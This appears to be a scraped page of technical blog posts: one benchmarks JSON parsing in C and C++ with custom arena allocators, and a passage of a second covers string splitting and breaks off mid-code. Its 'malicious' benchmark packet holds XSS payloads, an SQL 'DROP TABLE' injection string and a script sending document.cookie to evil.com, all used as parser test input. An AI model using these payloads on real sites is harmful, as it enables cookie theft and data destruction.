don\u0026#39;t need JSON-Patch, JSON-Pointer, or JSON-Query #define YYJSON_DISABLE_UTF8_VALIDATION 1 // Helps increase throughput, but may not be fair to `nlohmann::json` #include \u0026lt;yyjson.h\u0026gt; The most straightforward way to parse JSON with yyjson is:\n1 2 3 std::string_view packet_json; yyjson_doc *doc = yyjson_read((char *)packet_json.data(), packet_json.size()); yyjson_val *root = yyjson_doc_get_root(doc); This works fine for quick prototypes, but we\u0026rsquo;re here to discuss custom allocators. For that, you\u0026rsquo;ll use yyjson_read_opts along with a dedicated allocator structure:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef struct yyjson_alc { /** Same as libc\u0026#39;s malloc(size), should not be NULL. */ void *(*malloc)(void *ctx, size_t size); /** Same as libc\u0026#39;s realloc(ptr, size), should not be NULL. */ void *(*realloc)(void *ctx, void *ptr, size_t old_size, size_t size); /** Same as libc\u0026#39;s free(ptr), should not be NULL. */ void (*free)(void *ctx, void *ptr); /** A context for malloc/realloc/free, can be NULL. */ void *ctx; } yyjson_alc; yyjson_doc *yyjson_read_opts( char *dat, size_t len, yyjson_read_flag flg, const yyjson_alc *alc, yyjson_read_err *err); This API is nearly perfect, but there\u0026rsquo;s one caveat: the free function doesn\u0026rsquo;t receive the block size. That means we must track allocations ourselves—a typical pattern with many custom allocators. One approach is to prepend the size of each block to the block itself. Since our arena is only 4 KB, a 16-bit integer is enough:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef uint16_t alc_size_t; void * allocate_from_arena_for_yyjson(void *ctx, size_t size_native) { alc_size_t size = (alc_size_t)size_native; char *result = (char *)allocate_from_arena(*(fixed_buffer_arena_t *)ctx, size + sizeof(alc_size_t)); if (!result) return NULL; memcpy(result, \u0026amp;size, sizeof(alc_size_t)); return (void *)(result + sizeof(alc_size_t)); } void * deallocate_from_arena_for_yyjson(void *ctx, void *ptr) { char *start = (char *)ptr - sizeof(alc_size_t); alc_size_t size; memcpy(\u0026amp;size, start, sizeof(alc_size_t)); deallocate_from_arena(*(fixed_buffer_arena_t *)ctx, start, size + sizeof(alc_size_t)); return NULL; } If you prefer a ready-made solution, yyjson_alc_pool_init provides a first-party arena wrapper.\nIn practice, most of my code is in C++, so I skip sprinkling _for_yyjson everywhere by using lambdas and the unary + operator to cast them to C-style function pointers:\n1 2 3 4 using alc_size_t = std::uint16_t; alc.malloc = +[](void *ctx, size_t size_native) noexcept -\u0026gt; void * { ... }; alc.realloc = +[](void *ctx, void *ptr, size_t old_size_native, size_t size_native) noexcept -\u0026gt; void * { ... }; alc.free = +[](void *ctx, void *ptr) noexcept -\u0026gt; void { ... }; With allocations sorted out, how do we walk the parsed JSON? In modern C99, the code might look like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include \u0026lt;stdbool.h\u0026gt; // `_Bool` #include \u0026lt;stddef.h\u0026gt; // `size_t` #include \u0026lt;string.h\u0026gt; // `strstr` _Bool contains_xss_in_yyjson(yyjson_val *node) { if (!node) return false; if (yyjson_is_obj(node)) { // Dictionary-like objects size_t idx, max; yyjson_val *key, *val; yyjson_obj_foreach(node, idx, max, key, val) { if (contains_xss_in_yyjson(val)) return true; } return false; } if (yyjson_is_arr(node)) { // Arrays yyjson_val *val; yyjson_arr_iter iter = yyjson_arr_iter_with(node); while ((val = yyjson_arr_iter_next(\u0026amp;iter))) if (contains_xss_in_yyjson(val)) return true; return false; } if (yyjson_is_str(node)) { // Strings return strstr(yyjson_get_str(node), \u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;XSS\u0026#39;)\u0026lt;/script\u0026gt;\u0026#34;) != NULL; } return false; } So far, so good. Let\u0026rsquo;s do the same in C++.\nParsing JSON in C++ The nlohmann::json library is designed to be simple and easy to use, but it\u0026rsquo;s not the most efficient or flexible. The installation guide and the documentation website are some of the best as far as C++ libraries go.\n1 2 3 4 5 6 7 FetchContent_Declare( NielsLohmannJSON GIT_REPOSITORY https://github.com/nlohmann/json.git GIT_TAG v3.11.3 ) FetchContent_MakeAvailable(NielsLohmannJSON) target_link_libraries(less_slow PRIVATE nlohmann_json::nlohmann_json) It\u0026rsquo;s a header-only library, so we don\u0026rsquo;t need to link anything. Just include the header, and we are good to go:\n1 #include \u0026lt;nlohmann/json.hpp\u0026gt; This brings the implementation of the nlohmann::basic_json template and nlohmann::json. Much like std::basic_string and std::string, the latter is a typedef for the former. The nlohmann::basic_json template looks like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 template \u0026lt; template \u0026lt;typename\u0026gt; typename object_t = std::map, template \u0026lt;typename\u0026gt; typename array_t = std::vector, class string_t = std::string, class boolean_t = bool, class number_integer_t = std::int64_t, class number_unsigned_t = std::uint64_t, class number_float_t = double, template \u0026lt;typename\u0026gt; typename allocator_t = std::allocator, template \u0026lt;typename\u0026gt; typename json_serializer = adl_serializer, class binary_t = std::vector\u0026lt;std::uint8_t\u0026gt;, class object_comparator_t = std::less\u0026lt;\u0026gt;\u0026gt; class basic_json; Somewhat more complex than yyjson, but it\u0026rsquo;s a C++ library, so it\u0026rsquo;s expected. What\u0026rsquo;s tricky, is that 4x of the template arguments are templates themselves! If you get them wrong, you\u0026rsquo;ll soon be greeted with 10,000 lines of error messages.\nTo simplify instantiating it with different allocators, I created a separate json_containers_for_alloc template and an alias basic_json using it:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include \u0026lt;nlohmann/json.hpp\u0026gt; // Brings all the STL dependencies template \u0026lt;template \u0026lt;typename\u0026gt; typename allocator_\u0026gt; struct json_containers_for_alloc { // Must allow `map\u0026lt;Key, Value, typename... Args\u0026gt;`, replaces `std::map` template \u0026lt;typename key_type_, typename value_type_, typename...\u0026gt; using object = std::map\u0026lt;key_type_, value_type_, std::less\u0026lt;\u0026gt;, allocator_\u0026lt;std::pair\u0026lt;const key_type_, value_type_\u0026gt;\u0026gt;\u0026gt;; // Must allow `vector\u0026lt;Value, typename... Args\u0026gt;`, replaces `std::vector` template \u0026lt;typename value_type_, typename...\u0026gt; using array = std::vector\u0026lt;value_type_, allocator_\u0026lt;value_type_\u0026gt;\u0026gt;; using string = std::basic_string\u0026lt;char, std::char_traits\u0026lt;char\u0026gt;, allocator_\u0026lt;char\u0026gt;\u0026gt;; }; template \u0026lt;template \u0026lt;typename\u0026gt; typename allocator_\u0026gt; using json_with_alloc = nlohmann::basic_json\u0026lt; // json_containers_for_alloc\u0026lt;allocator_\u0026gt;::template object, // JSON object json_containers_for_alloc\u0026lt;allocator_\u0026gt;::template array, // JSON array typename json_containers_for_alloc\u0026lt;allocator_\u0026gt;::string, // String type bool, // Boolean type std::int64_t, // Integer type std::uint64_t, // Unsigned type double, // Float type allocator_, // Must allow `allocator\u0026lt;Value\u0026gt;`, replaces `std::allocator` nlohmann::adl_serializer, // Must allow `serializer\u0026lt;Value\u0026gt;` std::vector\u0026lt;std::uint8_t, allocator_\u0026lt;std::uint8_t\u0026gt;\u0026gt;, // Binary string extension void // Custom base class \u0026gt;; Not easy. In the snippet above, we\u0026rsquo;ve mentioned our allocator 5x times in the json_with_alloc alias. It goes downhill from here.\nThe std::allocator standard interface defines a propagate_on_container_move_assignment, which is a boolean flag that tells the container if it should move the allocator when the container is moved. Propagating the allocator on assignments makes sense, and combined with rebind, one would assume that the allocator is propagated down to the nested types. It\u0026rsquo;s not the case.\nLook at the following snippet from the nlohmann::json source code:\n1 2 3 4 5 6 7 8 9 switch (t) { case value_t::object: { AllocatorType\u0026lt;object_t\u0026gt; alloc; std::allocator_traits\u0026lt;decltype(alloc)\u0026gt;::destroy(alloc, object); std::allocator_traits\u0026lt;decltype(alloc)\u0026gt;::deallocate(alloc, \u0026amp;object); break; } case value_t::array: { ... On the third line, AllocatorType\u0026lt;object_t\u0026gt; alloc; is materialized from thin air. There is no state propagation, and you are bound to use some singleton object to reference your arena. Singletons are a code smell for a reason, and in this case, we will have to create a static or a thread_local instance of our arena and wrap it like the std::allocator:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 thread_local fixed_buffer_arena_t local_arena; template \u0026lt;typename value_type_\u0026gt; struct fixed_buffer_allocator { using value_type = value_type_; fixed_buffer_allocator() noexcept = default; template \u0026lt;typename other_type_\u0026gt; fixed_buffer_allocator(fixed_buffer_allocator\u0026lt;other_type_\u0026gt; const \u0026amp;) noexcept {} value_type *allocate(std::size_t n) noexcept(false) { if (auto ptr = allocate_from_arena(local_arena, n * sizeof(value_type)); ptr) return reinterpret_cast\u0026lt;value_type *\u0026gt;(ptr); else throw std::bad_alloc(); } void deallocate(value_type *ptr, std::size_t n) noexcept { deallocate_from_arena(local_arena, reinterpret_cast\u0026lt;std::byte *\u0026gt;(ptr), n * sizeof(value_type)); } // Rebind mechanism and comparators are for compatibility with STL containers template \u0026lt;typename other_type_\u0026gt; struct rebind { using other = fixed_buffer_allocator\u0026lt;other_type_\u0026gt;; }; bool operator==(fixed_buffer_allocator const \u0026amp;) const noexcept { return true; } bool operator!=(fixed_buffer_allocator const \u0026amp;) const noexcept { return false; } }; This is a lot of boilerplate, but it\u0026rsquo;s still better than using std::pmr::monotonic_buffer_resource or std::pmr::unsynchronized_pool_resource from the C++17 standard. Those bring much noise and add extra latency with polymorphic virtual calls.\nOur solution using thread_local isn\u0026rsquo;t perfect either. The thread_local objects will grow your binary with additional entries in the .tdata and .tbss sections. They will be allocated when a new thread is created and constructed on the first use. The number of such variables is also limited.\nOn Windows, the TLS_MINIMUM_AVAILABLE constant defines the minimum number of TLS slots available to a process. On Linux, PTHREAD_KEYS_MAX can be used to query the maximum number of keys that can be created with pthread_key_create. Curious about details? Fangrui Song\u0026rsquo;s blog has more than I ever wanted to learn about thread-local storage.\nIterating through the structure in C++, however, may be cleaner than in C:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 template \u0026lt;typename json_type_\u0026gt; bool contains_xss_nlohmann(json_type_ const \u0026amp;j) noexcept { if (j.is_object()) { for (auto const \u0026amp;it : j.items()) if (contains_xss_nlohmann(it.value())) return true; return false; } else if (j.is_array()) { for (auto const \u0026amp;elem : j) if (contains_xss_nlohmann(elem)) return true; return false; } else if (j.is_string()) { using string_t = typename json_type_::string_t; auto const \u0026amp;s = j.template get_ref\u0026lt;string_t const \u0026amp;\u0026gt;(); return s.find(\u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;XSS\u0026#39;)\u0026lt;/script\u0026gt;\u0026#34;) != string_t::npos; } else { return false; } } All that\u0026rsquo;s left is to construct whatever json_type_ instantiation will be and pass it to contains_xss_nlohmann. I\u0026rsquo;d argue, that way most do it wrong:\n1 2 3 4 5 try { using json_t = json_with_alloc\u0026lt;fixed_buffer_allocator\u0026gt;; json_t j = json_t::parse(packet_json); } catch (auto const \u0026amp;e) { } The try-catch block is also a code smell and a performance killer. A better convention is to use a different ::parse overload, which doesn\u0026rsquo;t throw exceptions:\n1 2 3 using json_t = json_with_alloc\u0026lt;fixed_buffer_allocator\u0026gt;; json_t j = json_t::parse(packet_json, nullptr, false); j.is_discarded(); // Check if the parsing was successful Benchmarks will show why this matters.\nBenchmarks Dataset Let\u0026rsquo;s test our JSON parsers with three carefully crafted packets. First up, a perfectly valid one:\n1 2 3 4 5 6 7 8 { \u0026#34;meta\u0026#34;: { \u0026#34;id\u0026#34;: 42, \u0026#34;valid\u0026#34;: true, \u0026#34;coordinates\u0026#34;: [ 0.0, 0.0 ], \u0026#34;nesting\u0026#34;: [ [ [ null ] ] ] }, \u0026#34;greetings\u0026#34;: [ { \u0026#34;language\u0026#34;: \u0026#34;English\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;Hello there! How are you doing on this sunny day?\u0026#34; }, { \u0026#34;language\u0026#34;: \u0026#34;日本語\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;こんにちは！今日は晴れていますが、お元気ですか？\u0026#34; }, { \u0026#34;language\u0026#34;: \u0026#34;Español\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;Hola a todos, ¿cómo estáis hoy tan soleado?\u0026#34; } ] } Next, a deliberately invalid one with a missing closing quote, an inline comment, and a trailing comma – take your pick of JSON sins 😁\n1 2 3 4 5 6 7 8 9 { \u0026#34;meta\u0026#34;: { \u0026#34;id\u0026#34;: 42, \u0026#34;valid\u0026#34;: true, \u0026#34;coordinates\u0026#34;: [ 1.234, 5.678 ], \u0026#34;nesting\u0026#34;: [ [ [ null ] ] ] }, \u0026#34;greetings\u0026#34;: [ { \u0026#34;language\u0026#34;: \u0026#34;English\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;Hello there! How are you doing on this sunny day?\u0026#34; }, { \u0026#34;language\u0026#34;: \u0026#34;日本語\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;こんにちは！今日は晴れていますが、お元気ですか？\u0026#34; }, { \u0026#34;language\u0026#34;: \u0026#34;Español\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;Hola a todos, ¿cómo estáis hoy tan soleado?\u0026#34; } ], \u0026#34;source\u0026#34;: \u0026#34;127.0.0.1, // no inline comments allowed in vanilla JSON! } And finally, a malicious payload packed with SQL injection, XSS, and a cookie-stealing script – because why not go all out? 😁\n1 2 3 4 5 6 7 8 9 { \u0026#34;meta\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026#34;, \u0026#34;valid\u0026#34;: true, \u0026#34;nesting\u0026#34;: [ [ [ null ] ] ] }, \u0026#34;greetings\u0026#34;: [ { \u0026#34;language\u0026#34;: \u0026#34;English\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;Hello there! \u0026lt;img src=x onerror=\u0026#39;alert(1)\u0026#39;\u0026gt;\u0026#34; }, { \u0026#34;language\u0026#34;: \u0026#34;HTML\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;\u0026lt;iframe src=\u0026#39;javascript:alert(`XSS`)\u0026#39;\u0026gt;\u0026lt;/iframe\u0026gt;\u0026#34; }, { \u0026#34;language\u0026#34;: \u0026#34;SQL\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;\u0026#39;; DROP TABLE users; --\u0026#34; } ], \u0026#34;comment\u0026#34;: \u0026#34;\u0026lt;script\u0026gt;var xhr = new XMLHttpRequest(); xhr.open(\u0026#39;GET\u0026#39;, \u0026#39;https://evil.com/steal?cookie=\u0026#39; + document.cookie);\u0026lt;/script\u0026gt;\u0026#34; } Platform For reproducibility, I\u0026rsquo;m running these tests on AWS (the cloud provider you probably already use). Specifically, a c7i.48xlarge instance powered by two Intel Sapphire Rapids 4th-generation Xeon chips. This machine packs 96 cores and 192 threads at 2.4 GHz. I\u0026rsquo;ve disabled Simultaneous Multi-Threading (SMT) to keep timings consistent, leaving us 96 threads. The system runs Ubuntu 24.04 LTS with GCC 14.\nResults We\u0026rsquo;re using the Google Benchmark toolchain for measurement. For arena-based tests, we track peak memory usage. We measure throughput in bytes per second and run everything single-threaded and on all physical cores.\nHere\u0026rsquo;s what the yyjson benchmark looks like:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 static constexpr std::string_view packets_json[3] = { valid_json, invalid_json, malicious_json }; template \u0026lt; ... \u0026gt; static void json_yyjson(bm::State \u0026amp;state) { // Some compile-time settings fixed_buffer_arena_t arena; yyjson_alc alc; alc.ctx = \u0026amp;arena; using alc_size_t = std::uint16_t; alc.malloc = +[](void *ctx, size_t size_native) noexcept -\u0026gt; void * { ... }; alc.realloc = +[](void *ctx, void *ptr, size_t old_size_native, size_t size_native) noexcept -\u0026gt; void * { ... }; alc.free = +[](void *ctx, void *ptr) noexcept -\u0026gt; void { ... }; std::size_t bytes_processed = 0, peak_memory_usage = 0, iteration = 0; for (auto _ : state) { // Google Benchmark will decide how many iterations to run std::string_view packet_json = packets_json[iteration++ % 3]; // Loop through the dataset bytes_processed += packet_json.size(); yyjson_read_err error; std::memset(\u0026amp;error, 0, sizeof(error)); yyjson_doc *doc = yyjson_read_opts((char *)packet_json.data(), packet_json.size(), YYJSON_READ_NOFLAG, \u0026amp;alc, \u0026amp;error); if (!error.code) contains_xss_in_yyjson(yyjson_doc_get_root(doc)); peak_memory_usage = std::max(peak_memory_usage, arena.total_allocated); yyjson_doc_free(doc); } state.SetBytesProcessed(bytes_processed); state.counters[\u0026#34;peak_memory_usage\u0026#34;] = bm::Counter(peak_memory_usage, bm::Counter::kAvgThreads); } Now, the numbers are\u0026hellip; interesting. Let\u0026rsquo;s start with yyjson:\nBenchmark Single-threaded Multi-threaded json_yyjson\u0026lt;malloc\u0026gt; 370 ns 369 ns json_yyjson\u0026lt;fixed_buffer\u0026gt; 325 ns 326 ns With the fixed buffer arena and perfect textbook-style linear scaling, we\u0026rsquo;re seeing a neat 12% speedup. Most libraries would show a much bigger gap – so what gives?\nThe secret lies in yyjson\u0026rsquo;s clever design. It has an internal memory management system that allocates arenas on demand and chains them together, forming a \u0026ldquo;linked list\u0026rdquo;. Digging into yyjson.c, we find this telling line:\n1 #define YYJSON_ALC_DYN_MIN_SIZE 0x1000 That\u0026rsquo;s 4 KB in decimal – exactly matching our fixed buffer size. So even with malloc, we only allocate once per JSON packet.\nnlohmann::json takes a different approach. It relies on separate std::map and std::vector instances for memory management. The map is a tree structure, sprinkling allocated nodes randomly across your address space, while the vector isn\u0026rsquo;t much better. No surprises here – this library will lag without arena allocation, whether you\u0026rsquo;re using exceptions or not:\nBenchmark Single-threaded Multi-threaded json_yyjson\u0026lt;malloc\u0026gt; 370 ns 369 ns json_yyjson\u0026lt;fixed_buffer\u0026gt; 325 ns 326 ns json_nlohmann\u0026lt;std::allocator, throw\u0026gt; 6,539 ns json_nlohmann\u0026lt;fixed_buffer, throw\u0026gt; 6,027 ns json_nlohmann\u0026lt;std::allocator, noexcept\u0026gt; 4,762 ns json_nlohmann\u0026lt;fixed_buffer, noexcept\u0026gt; 4,307 ns With the exception-throwing interface and malformed JSON in every other iteration, we\u0026rsquo;re running 20x slower than yyjson – and remember, yyjson isn\u0026rsquo;t even SIMD-accelerated! The exception-free interface is still 15x slower, and just the memory allocation overhead ($4,762 - 4,307 = 455$ ns) exceeds yyjson\u0026rsquo;s entire parsing time.\nThings get even spicier in multi-threaded scenarios. Since std::allocator is a global singleton, access from 96 cores needs synchronization across multiple NUMA nodes and two physical sockets:\nBenchmark Single-threaded Multi-threaded json_yyjson\u0026lt;malloc\u0026gt; 370 ns 369 ns json_yyjson\u0026lt;fixed_buffer\u0026gt; 325 ns 326 ns json_nlohmann\u0026lt;std::allocator, throw\u0026gt; 6,539 ns 12,249 ns json_nlohmann\u0026lt;fixed_buffer, throw\u0026gt; 6,027 ns 11,866 ns json_nlohmann\u0026lt;std::allocator, noexcept\u0026gt; 4,762 ns 12,612 ns json_nlohmann\u0026lt;fixed_buffer, noexcept\u0026gt; 4,307 ns 11,975 ns But here\u0026rsquo;s the real kicker – our fixed_buffer version barely improves things. Why? Because synchronization overhead isn\u0026rsquo;t just in malloc and free. It lurks in unexpected places, like the seemingly innocent locale-dependent std::isspace. Singeltons are everywhere!\nConclusion The nlohmann::json library is a fantastic starting point for beginners and smaller projects. Its documentation shines, and its community support is top-notch. You\u0026rsquo;ll find similar traits in many C++ and Rust projects. Still, most of them rely on the global state outside of a few truly portable C libraries. The irony? The very qualities that make certain C libraries accessible to embedded systems also make them the only viable choice for the high-end!\nMemory management for complex concurrent data structures is a fascinating rabbit hole. Take USearch, one of Unum\u0026rsquo;s libraries, where my templates support two distinct allocator types for different allocation patterns:\nOne handles the append-only index Another manages dynamic data structures But even this isn\u0026rsquo;t enough. In USearch v3, I\u0026rsquo;m planning a complete memory management overhaul to better handle scalability and NUMA awareness. While data-parallel processing systems like RedPanda or ScyllaDB can get away with a thread-per-core and arena-per-thread pattern, that approach won\u0026rsquo;t work in non-uniform workloads, like the highly unbalanced nature of graph traversals. It demands something different – though I\u0026rsquo;m still working out exactly what that \u0026ldquo;something\u0026rdquo; will be!\nIf you\u0026rsquo;re intrigued by memory management (and who isn\u0026rsquo;t?), I highly recommend exploring the implementations of jemalloc, mimalloc, tcmalloc, and hoard. Many of these allocators build on Emery Berger\u0026rsquo;s Heap Layers project, which he covers in his regular CppCon talks:\nFor those curious about binary serialization formats, check out Google\u0026rsquo;s Protocol Buffers, Cloudflare\u0026rsquo;s Cap\u0026rsquo;n\u0026rsquo;Proto, and MsgPack. They\u0026rsquo;re all worth exploring, at least for historical context. Or, if you\u0026rsquo;re more hands-on, jump straight to less_slow.cpp on GitHub to run these benchmarks on your hardware and discover other fun snippets with potentially surprising results!\nMultiplying 3x3x3 float matrices may take 70% more time on modern CPUs than 4x4x4, despite involving 60% fewer arithmetic operations (45 vs 112) 🤯\nThis was probably the weirdest artifact I\u0026#39;ve encountered in 2024 - now part of `less_slow.cpp` 🤗https://t.co/irGJ4BXT4s\n\u0026mdash; Ash Vardanian (@ashvardanian) January 3, 2025 ","permalink":"https://ashvardanian.com/posts/parsing-json-with-allocators-cpp/","summary":"\u003cp\u003eI\u0026rsquo;d argue that almost every open-source developer gets an extra spark of joy when someone reads the documentation and uses their tool in a way that goes beyond the classic 101 examples.\nIt\u0026rsquo;s a rare treat even for popular projects like \u003ca href=\"https://en.wikipedia.org/wiki/JSON\"\u003eJSON\u003c/a\u003e parsers, but if you are building high-throughput software, such as \u003ca href=\"https://news.ycombinator.com/item?id=35042316\"\u003eanalyzing millions of network packets per second\u003c/a\u003e, you\u0026rsquo;ll have to dig deeper.\u003c/p\u003e\n\u003cp\u003eThe first thing I generally check in such libraries is the memory usage pattern and whether I can override the default memory allocator.\nIt is the most common singleton of them all!\u003c/p\u003e","title":"Parsing JSON in C \u0026 C++: Singleton Tax"},{"content":"It\u0026rsquo;s 2025. Sixteen years ago, someone asked on StackOverflow how to split a string in C++. With 3000 upvotes, you might think this question has been definitively answered. However, the provided solutions can be greatly improved in terms of both flexibility and performance, yielding up to a 10x speedup.\nIn this post, we\u0026rsquo;ll explore three better ways to split strings in C++, including a solution I briefly mentioned in 2024 as part of a longer review of the Painful Pitfalls of C++ STL Strings.\nTokenizing a String The task is straightforward: given a sequence of bytes and some predefined delimiter characters, we want to split the sequence into substrings using these delimiters as separators.\nCommon use cases include:\nSplitting lines using '\\n' and '\\r' as delimiters. Splitting words using space (' '), horizontal tab ('\\t'), and line breaks as delimiters. The default C locale classifies six characters as whitespace: space, form-feed, newline, carriage return, horizontal tab, and vertical tab.\nMost answers to the original question overlook this fact and simply use ' ' as the only delimiter. In real-world parsing tasks, multiple delimiter characters are common - think '\u0026lt;' and '\u0026gt;' in XML, or '{' and '}' in JSON. Therefore, our solutions should be applicable to a broad range of parsing applications.\nC++17 STL String Views The most straightforward way to implement a splitter is using std::string_view::find_first_of, unless we know the exact delimiter characters in advance:\n1 2 3 4 5 6 7 8 9 template \u0026lt;typename callback_type_\u0026gt; void split(std::string_view str, std::string_view delimiters, callback_type_ \u0026amp;\u0026amp; callback) { std::size_t pos = 0; while (pos \u0026lt; str.size()) { auto const next_pos = str.find_first_of(delimiters, pos); callback(str.substr(pos, next_pos - pos)); pos = next_pos == std::string_view::npos ? str.size() : next_pos + 1; } } If you do know the delimiters, replacing .find_first_of with a lambda will yield a ~5x performance improvement:\n1 2 3 4 5 6 7 8 9 template \u0026lt;typename callback_type_, typename predicate_type_\u0026gt; void split(std::string_view str, predicate_type_ \u0026amp;\u0026amp; is_delimiter, callback_type_ \u0026amp;\u0026amp; callback) { std::size_t pos = 0; while (pos \u0026lt; str.size()) { auto const next_pos = std::find_if(str.begin() + pos, str.end(), is_delimiter) - str.begin(); callback(str.substr(pos, next_pos - pos)); pos = next_pos == str.size() ? str.size() : next_pos + 1; } } C++20 STL Ranges and C++14 Range-V3 C++20 introduces std::ranges, based on Eric Niebler\u0026rsquo;s Range-V3 library, which was recently featured in Daniel Lemire\u0026rsquo;s post on parsing. It\u0026rsquo;s a perfect example of a library becoming a de-facto standard before official standardization. Similar to Victor Zverovich\u0026rsquo;s fmt and std::format, the original library offers more functionality.\nInstalling Range-V3 with CMake is straightforward:\n1 2 3 4 5 FetchContent_Declare( RangeV3 GIT_REPOSITORY https://github.com/ericniebler/range-v3 GIT_TAG master) FetchContent_MakeAvailable(RangeV3) While std::ranges::split can split around a single character delimiter, passing a lambda as the second argument results in a complex error message. Fortunately, the range-v3 library provides a split_when function that accepts a lambda as a delimiter:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include \u0026lt;range/v3/split_when.hpp\u0026gt; #include \u0026lt;range/v3/transform.hpp\u0026gt; template \u0026lt;typename callback_type_, typename predicate_type_\u0026gt; void split(std::string_view str, predicate_type_ \u0026amp;\u0026amp; is_delimiter, callback_type_ \u0026amp;\u0026amp; callback) noexcept { for (auto \u0026amp;\u0026amp; token : ranges::split_when(str, is_delimiter) | ranges::transform([](auto \u0026amp;\u0026amp;slice) { // Transform sequence of characters back into string-views // https://stackoverflow.com/a/48403210/2766161 auto const size = ranges::distance(slice); // `\u0026amp;*slice.begin()` is UB if the range is empty: return size ? std::string_view(\u0026amp;*slice.begin(), size) : std::string_view(); })) callback(token); } While ranges are a powerful library, merging slices of single-byte entries inevitably comes with performance overhead.\nThe Right Way GLibC is arguably the world\u0026rsquo;s most popular string processing library. However, looking into \u0026lt;string.h\u0026gt; feels like peering into the past, where everything was simpler and strings were NULL-terminated. In that world, strpbrk would be the answer for fast, SIMD-accelerated tokenization. Fast forward to today, strings may contain zero characters in the middle or not contain them at all. This makes the const char* strpbrk(const char* dest, const char* breakset) function inadequate for handling arbitrary byte strings of known length.\nEnter StringZilla and its C++ SDK:\n1 2 3 4 5 FetchContent_Declare( StringZilla GIT_REPOSITORY https://github.com/ashvardanian/stringzilla GIT_TAG main) FetchContent_MakeAvailable(StringZilla) With StringZilla, we don\u0026rsquo;t need to implement split ourselves, as it\u0026rsquo;s provided through custom lazily-evaluated ranges. We also don\u0026rsquo;t need a custom predicate. The algorithm constructs a 256-slot bitset on the fly and checks chunks of 16-64 bytes at a time using SIMD instructions on both x86 and Arm:\n1 2 3 4 5 6 7 8 #include \u0026lt;stringzilla/stringzilla.h\u0026gt; namespace sz = ashvardanian::stringzilla; template \u0026lt;typename callback_type_, typename predicate_type_\u0026gt; void split(std::string_view str, std::string_view delimiters, callback_type_ \u0026amp;\u0026amp; callback) noexcept { for (auto \u0026amp;\u0026amp; token : sz::string_view(str).split(sz::char_set(delimiters))) callback(std::string_view(token)); } In previous specialized benchmarks on larger strings, StringZilla showed mixed results: it lost to GLibC on Intel Sapphire Rapids (5.42 GB/s vs 4.08 GB/s) but won on AWS Graviton 4 (3.22 GB/s vs 2.19 GB/s). Both implementations were often 10x faster than C++ STL, which doesn\u0026rsquo;t use SIMD instructions. For shorter strings, the performance difference is smaller and mostly depends on higher-level logic.\nTo replicate StringZilla pattern matching benchmarks: clone the repo, pull the datasets, compile the code, and run the stringzilla_bench_search target.\nLet\u0026rsquo;s explore how these approaches perform in real-world scenarios.\nComposite Benchmarks While it\u0026rsquo;s easy to create a synthetic micro-benchmark that splits huge strings and shows a 10x improvement, a more interesting comparison would involve implementing a practical parser that does more than just splitting.\nFor our test, we\u0026rsquo;ll use two simple config files. First, a small one:\n1 2 3 4 5 6 # This is a comment line\\r\\n host: example.com\\n \\n port: 8080\\r # Another comment\\n\\r path: /api/v1 And a larger one with more complex configuration:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # Server Configuration primary_host: api-main-prod-eu-west-1.company.com secondary_host: api-backup-prod-eu-west-1.company.com port: 443 base_path: /services/v2/resource/data-access-layer connection_timeout: 120000 # Database Configuration database_host: db-prod-eu-west-1.cluster.company.internal database_port: 3306 database_username: api_service_user database_password: 8kD3jQ!9Fs\u0026amp;2P database_name: analytics_reporting # Logging Configuration log_file_path: /var/log/api/prod/services/access.log log_rotation_strategy: size_based log_retention_period: 30_days # Feature Toggles new_auth_flow: enabled legacy_support: disabled dark_mode_experiment: enabled # Monitoring Configuration metrics_endpoint: metrics.company.com/v2/ingest alerting_thresholds: critical:90, warning:75, info:50 dashboard_url: https://dashboard.company.com/api/monitoring/prod STL Parser Parsing the config requires not only splitting but also trimming functions to strip whitespace around the key and value portions of each line:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include \u0026lt;cctype\u0026gt; // `std::isspace` #include \u0026lt;string_view\u0026gt; // `std::string_view` bool is_newline(char c) noexcept { return c == \u0026#39;\\n\u0026#39; || c == \u0026#39;\\r\u0026#39;; } std::string_view strip_spaces(std::string_view text) noexcept { // Trim leading whitespace while (!text.empty() \u0026amp;\u0026amp; std::isspace(text.front())) text.remove_prefix(1); // Trim trailing whitespace while (!text.empty() \u0026amp;\u0026amp; std::isspace(text.back())) text.remove_suffix(1); return text; } std::pair\u0026lt;std::string_view, std::string_view\u0026gt; split_key_value(std::string_view line) noexcept { // Find the first colon (\u0026#39;:\u0026#39;), which we treat as the key/value boundary auto pos = line.find(\u0026#39;:\u0026#39;); if (pos == std::string_view::npos) return {}; // Trim key and value separately auto key = strip_spaces(line.substr(0, pos)); auto value = strip_spaces(line.substr(pos + 1)); // Store them in a pair return std::make_pair(key, value); } void parse(std::string_view config, std::vector\u0026lt;std::pair\u0026lt;std::string, std::string\u0026gt;\u0026gt; \u0026amp;settings) { split(config, \u0026amp;is_newline, [\u0026amp;](std::string_view line) { if (line.empty() || line.front() == \u0026#39;#\u0026#39;) return; // 